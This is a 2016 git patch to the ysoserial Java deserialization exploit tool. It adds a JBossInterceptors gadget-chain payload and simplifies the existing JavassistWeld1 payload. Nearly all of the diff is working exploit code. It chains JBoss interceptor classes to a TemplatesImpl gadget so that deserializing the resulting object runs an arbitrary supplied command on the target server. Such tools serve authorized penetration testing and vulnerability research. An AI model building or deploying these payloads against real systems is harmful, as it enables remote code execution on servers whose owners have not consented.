From 0f9526ff24fd4af2afe8ddad157444a36c4b8e49 Mon Sep 17 00:00:00 2001 From: Matthias Kaiser Date: Tue, 26 Jul 2016 16:42:46 +0200 Subject: [PATCH] Adding a Javassist/Weld/JBossInterceptor gadgets to ysoserial. --- pom.xml | 5 ++ .../ysoserial/payloads/JBossInterceptors.java | 79 +++++++++++++++++++ .../ysoserial/payloads/JavassistWeld1.java | 11 +-- 3 files changed, 85 insertions(+), 10 deletions(-) create mode 100644 src/main/java/ysoserial/payloads/JBossInterceptors.java diff --git a/pom.xml b/pom.xml index a8ecf2e..6ca2a26 100644 --- a/pom.xml +++ b/pom.xml @@ -267,6 +267,11 @@ weld-core 1.1.33.Final + + org.jboss.interceptor + jboss-interceptor-core + 2.0.0.Final + diff --git a/src/main/java/ysoserial/payloads/JBossInterceptors.java b/src/main/java/ysoserial/payloads/JBossInterceptors.java new file mode 100644 index 0000000..7493929 --- /dev/null +++ b/src/main/java/ysoserial/payloads/JBossInterceptors.java @@ -0,0 +1,79 @@ +package ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.interceptor.builder.InterceptionModelBuilder; +import org.jboss.interceptor.builder.MethodReference; +import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.interceptor.reader.DefaultMethodMetadata; +import org.jboss.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.interceptor.spi.metadata.InterceptorReference; +import org.jboss.interceptor.spi.metadata.MethodMetadata; +import org.jboss.interceptor.spi.model.InterceptionModel; +import org.jboss.interceptor.spi.model.InterceptionType; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +import java.lang.reflect.Constructor; +import java.util.*; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final" }) +public class JBossInterceptors implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + final Object gadget = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + defaultMethodMetadataConstructor.setAccessible(true); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return gadget; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + + } + + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(JBossInterceptors.class, args); + } +} \ No newline at end of file diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java index bf89d51..dcd5e28 100644 --- a/src/main/java/ysoserial/payloads/JavassistWeld1.java +++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java @@ -1,9 +1,6 @@ package ysoserial.payloads; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import javassist.util.proxy.ProxyFactory; -import javassist.util.proxy.ProxyObject; -import javassist.util.proxy.RuntimeSupport; import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; import org.jboss.weld.interceptor.builder.MethodReference; import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; @@ -71,13 +68,7 @@ public class JavassistWeld1 implements ObjectPayload { } }; - InterceptorMethodHandler interceptorMethodHandler = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); - ProxyFactory proxyFactory = new ProxyFactory(); - proxyFactory.setSuperclass(HashMap.class); - ProxyObject proxy = (ProxyObject) proxyFactory.createClass().newInstance(); - proxy.setHandler(interceptorMethodHandler); - - return RuntimeSupport.makeSerializedProxy(proxy); + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); }